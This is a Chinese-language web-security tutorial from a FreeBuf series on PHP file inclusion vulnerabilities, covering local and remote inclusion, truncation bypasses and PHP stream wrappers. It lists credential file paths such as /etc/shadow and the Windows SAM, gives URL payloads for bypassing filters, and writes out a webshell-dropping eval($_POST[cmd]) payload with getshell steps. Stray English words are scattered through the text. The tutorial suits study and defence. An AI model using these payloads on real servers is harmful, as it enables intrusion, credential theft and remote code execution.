文件包含漏洞

前言

《Web安全實戰》系列集合了WEB類常見的各類漏洞,筆者根據本身在Web安全領域中學習和工做的經驗,對漏洞原理和漏洞利用面進行了總結分析,致力於漏洞準確性、豐富性,但願對WEB安全工做者、WEB安全學習者能有所幫助,減小獲取知識的時間成本。php

0×01 文件包含簡介

服務器執行PHP文件時,能夠經過文件包含函數加載另外一個文件中的PHP代碼,而且當PHP來執行,這會爲開發者節省大量的時間。這意味着您能夠建立供全部網頁引用的標準頁眉或菜單文件。當頁眉須要更新時,您只更新一個包含文件就能夠了,或者當您向網站添加一張新頁面時,僅僅須要修改一下菜單文件(而不是更新全部網頁中的連接)。html

文件包含函數

PHP中文件包含函數有如下四種:mysql

require()linux

require_once()sql

include()shell

include_once()apache

includerequire區別主要是,include在包含的過程當中若是出現錯誤,會拋出一個警告,程序繼續正常運行;而require函數出現錯誤的時候,會直接報錯並退出程序的執行。windows

include_once()require_once()這兩個函數,與前兩個的不一樣之處在於這兩個函數只包含一次,適用於在腳本執行期間同一個文件有可能被包括超過一次的狀況下,你想確保它只被包括一次以免函數重定義,變量從新賦值等問題。瀏覽器

漏洞產生緣由

文件包含函數加載的參數沒有通過過濾或者嚴格的定義,能夠被用戶控制,包含其餘惡意文件,致使了執行了非預期的代碼。安全

示例代碼

<?php $filename = $_GET['filename']; include($filename); ?> 

例如:

$_GET['filename']參數開發者沒有通過嚴格的過濾,直接帶入了include的函數,攻擊者能夠修改$_GET['filename']的值,執行非預期的操做。

0×02 本地文件包含漏洞

無限制本地文件包含漏洞

測試代碼:

<?php $filename = $_GET['filename']; include($filename); ?> 

測試結果:

經過目錄遍歷漏洞能夠獲取到系統中其餘文件的內容:

測試結果

常見的敏感信息路徑:

Windows系統

c:\boot.ini // 查看系統版本

c:\windows\system32\inetsrv\MetaBase.xml // IIS配置文件

c:\windows\repair\sam // 存儲Windows系統初次安裝的密碼

c:\ProgramFiles\mysql\my.ini // MySQL配置

c:\ProgramFiles\mysql\data\mysql\user.MYD // MySQL root密碼

c:\windows\php.ini // php 配置信息

Linux/Unix系統

/etc/passwd // 帳戶信息

/etc/shadow // 帳戶密碼文件

/usr/local/app/apache2/conf/httpd.conf // Apache2默認配置文件

/usr/local/app/apache2/conf/extra/httpd-vhost.conf // 虛擬網站配置

/usr/local/app/php5/lib/php.ini // PHP相關配置

/etc/httpd/conf/httpd.conf // Apache配置文件

/etc/my.conf // mysql 配置文件

session文件包含漏洞

利用條件:

session的存儲位置能夠獲取。

1. 經過phpinfo的信息能夠獲取到session的存儲位置。

經過phpinfo的信息,獲取到session.save_path爲/var/lib/php/session:

獲取到session的存儲位置

2. 經過猜想默認的session存放位置進行嘗試。

如linux下默認存儲在/var/lib/php/session目錄下:

默認存儲

session中的內容能夠被控制,傳入惡意代碼。

示例:

<?php

session_start();

$ctfs=$_GET['ctfs'];

$_SESSION["username"]=$ctfs;

?>

漏洞分析

此php會將獲取到的GET型ctfs變量的值存入到session中。

當訪問http://www.ctfs-wiki/session.php?ctfs=ctfs 後,會在/var/lib/php/session目錄下存儲session的值。

session的文件名爲sess_+sessionid,sessionid能夠經過開發者模式獲取。

經過開發者模式獲取

因此session的文件名爲sess_akp79gfiedh13ho11i6f3sm6s6。

到服務器的/var/lib/php/session目錄下查看果真存在此文件,內容爲:

username|s:4:"ctfs";

[root@c21336db44d2 session]# cat sess_akp79gfiedh13ho11i6f3sm6s6

username|s:4:"ctfs"

漏洞利用

經過上面的分析,能夠知道ctfs傳入的值會存儲到session文件中,若是存在本地文件包含漏洞,就能夠經過ctfs寫入惡意代碼到session文件中,而後經過文件包含漏洞執行此惡意代碼getshell。

當訪問http://www.ctfs-wiki/session.php?ctfs=<?php phpinfo();?>後,會在/var/lib/php/session目錄下存儲session的值。

[root@6da845537b27 session]# cat sess_83317220159fc31cd7023422f64bea1a

username|s:18:"<?php phpinfo();?>";

攻擊者經過phpinfo()信息泄露或者猜想能獲取到session存放的位置,文件名稱經過開發者模式可獲取到,而後經過文件包含的漏洞解析惡意代碼getshell。

解析惡意代碼getshell

有限制本地文件包含漏洞繞過

%00截斷

條件:magic_quotes_gpc = Off php版本<5.3.4

測試代碼:

<?php $filename = $_GET['filename']; include($filename . ".html"); ?> 

測試結果:

http://www.ctfs-wiki.com/FI/FI.php?filename=../../../../../../../boot.ini%00 

測試結果

路徑長度截斷

條件:windows OS,點號須要長於256;linux OS 長於4096

Windows下目錄最大長度爲256字節,超出的部分會被丟棄;

Linux下目錄最大長度爲4096字節,超出的部分會被丟棄。

測試代碼:

<?php $filename = $_GET['filename']; include($filename . ".html"); ?> 

EXP:

http://www.ctfs-wiki.com/FI/FI.php?filename=test.txt/./././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././/./././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././ 

測試結果

點號截斷

條件:windows OS,點號須要長於256

測試代碼:

<?php $filename = $_GET['filename']; include($filename . ".html"); ?> 

EXP:

http://www.ctfs-wiki.com/FI/FI.php ?filename=test.txt................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................. 

測試結果

0×03 遠程文件包含漏洞

PHP的配置文件allow_url_fopen和allow_url_include設置爲ON,include/require等包含函數能夠加載遠程文件,若是遠程文件沒通過嚴格的過濾,致使了執行惡意文件的代碼,這就是遠程文件包含漏洞。

allow_url_fopen = On(是否容許打開遠程文件)

allow_url_include = On(是否容許include/require遠程文件)

無限制遠程文件包含漏洞

測試代碼:

<?php $filename = $_GET['filename']; include($filename); ?> 

測試代碼

經過遠程文件包含漏洞,包含php.txt能夠解析。

http://www.ctfs-wiki.com/FI/FI.php?filename=http://192.168.91.133/FI/php.txt 

測試結果:

測試結果

有限制遠程文件包含漏洞繞過

測試代碼:

<?php include($_GET['filename'] . ".html"); ?> 

代碼中多添加了html後綴,致使遠程包含的文件也會多一個html後綴。

測試代碼

問號繞過

http://www.ctfs-wiki.com/FI/WFI.php?filename=http://192.168.91.133/FI/php.txt? 

問號繞過

#號繞過

http://www.ctfs-wiki.com/FI/WFI.php?filename=http://192.168.91.133/FI/php.txt%23 

#號繞過

還有哪些能夠繞過?用burp跑一遍發現空格也能夠繞過:

空格繞過

http://www.ctfs-wiki.com/FI/WFI.php?filename=http://192.168.91.133/FI/php.txt%20 

空格繞過

0×04 PHP僞協議

PHP 帶有不少內置 URL 風格的封裝協議,可用於相似 fopen()、 copy()、 file_exists() 和 filesize() 的文件系統函數。 除了這些封裝協議,還能經過 stream_wrapper_register() 來註冊自定義的封裝協議。

目錄

目錄

php:// 輸入輸出流

PHP 提供了一些雜項輸入/輸出(IO)流,容許訪問 PHP 的輸入輸出流、標準輸入輸出和錯誤描述符, 內存中、磁盤備份的臨時文件流以及能夠操做其餘讀取寫入文件資源的過濾器。

php://filter(本地磁盤文件進行讀取)

元封裝器,設計用於」數據流打開」時的」篩選過濾」應用,對本地磁盤文件進行讀寫。

用法:?filename=php://filter/convert.base64-encode/resource=xxx.php ?filename=php://filter/read=convert.base64-encode/resource=xxx.php 同樣。

條件:只是讀取,須要開啓 allow_url_fopen,不須要開啓 allow_url_include;

條件

測試代碼:

<?php $filename = $_GET['filename']; include($filename); ?> 

測試代碼

php://input

能夠訪問請求的原始數據的只讀流。便可以直接讀取到POST上沒有通過解析的原始數據。 enctype=」multipart/form-data」 的時候 php://input 是無效的。

用法:?file=php://input 數據利用POST傳過去。

php://input (讀取POST數據)

碰到file_get_contents()就要想到用php://input繞過,由於php僞協議也是能夠利用http協議的,便可以使用POST方式傳數據,具體函數意義下一項;

測試代碼:

<?php echo file_get_contents("php://input"); ?> 

測試結果:

測試結果

php://input(寫入木馬)

測試代碼:

<?php $filename = $_GET['filename']; include($filename); ?> 

條件:php配置文件中需同時開啓 allow_url_fopen 和 allow_url_include(PHP < 5.3.0),就能夠形成任意代碼執行,在這能夠理解成遠程文件包含漏洞(RFI),即POST過去PHP代碼,便可執行。

若是POST的數據是執行寫入一句話木馬的PHP代碼,就會在當前目錄下寫入一個木馬。

<?PHP fputs(fopen('shell.php','w'),'<?php @eval($_POST[cmd])?>');?> 

在當前目錄下寫入一個木馬

測試結果:

測試結果

若是不開啓allow_url_include會報錯:報錯信息

php://input(命令執行)

測試代碼:

<?php $filename = $_GET['filename']; include($filename); ?> 

條件:php配置文件中需同時開啓 allow_url_fopen 和 allow_url_include(PHP < 5.30),就能夠形成任意代碼執行,在這能夠理解成遠程文件包含漏洞(RFI),即POST過去PHP代碼,便可執行;

POST過去PHP代碼若是不開啓allow_url_include會報錯:

報錯信息

file://僞協議 (讀取文件內容)

經過file協議能夠訪問本地文件系統,讀取到文件的內容

測試代碼:

<?php $filename = $_GET['filename']; include($filename); ?> 

測試代碼

data://僞協議

數據流封裝器,和php://類似都是利用了流的概念,將本來的include的文件流重定向到了用戶可控制的輸入流中,簡單來講就是執行文件的包含方法包含了你的輸入流,經過你輸入payload來實現目的; data://text/plain;base64,dGhlIHVzZXIgaXMgYWRtaW4

data://(讀取文件)

和php僞協議的input相似,碰到file_get_contents()來用; <?php // 打印 「I love PHP」 echo file_get_contents(‘data://text/plain;base64,SSBsb3ZlIFBIUAo=’); ?>

注意:<span ><?php phpinfo();,這類執行代碼最後沒有?></span>閉合;

若是php.ini裏的allow_url_include=On(PHP < 5.3.0),就能夠形成任意代碼執行,同理在這就能夠理解成遠程文件包含漏洞(RFI) 測試代碼:

<?php $filename = $_GET['filename']; include($filename); ?> 

測試結果

phar://僞協議

這個參數是就是php解壓縮包的一個函數,無論後綴是什麼,都會當作壓縮包來解壓。

用法:?file=phar://壓縮包/內部文件 phar://xxx.png/shell.php 注意: PHP > =5.3.0 壓縮包須要是zip協議壓縮,rar不行,將木馬文件壓縮後,改成其餘任意格式的文件均可以正常使用。 步驟: 寫一個一句話木馬文件shell.php,而後用zip協議壓縮爲shell.zip,而後將後綴改成png等其餘格式。 

測試代碼:

<?php $filename = $_GET['filename']; include($filename); ?> 

測試結果

zip://僞協議

zip僞協議和phar協議相似,可是用法不同。

用法:?file=zip://[壓縮文件絕對路徑]#[壓縮文件內的子文件名] zip://xxx.png#shell.php。

條件: PHP > =5.3.0,注意在windows下測試要5.3.0<PHP<5.4 才能夠 #在瀏覽器中要編碼爲%23,不然瀏覽器默認不會傳輸特殊字符。

測試代碼:

<?php $filename = $_GET['filename']; include($filename); ?> 

測試結果

*本文做者:山東安雲,轉載請註明來自FreeBuf.COM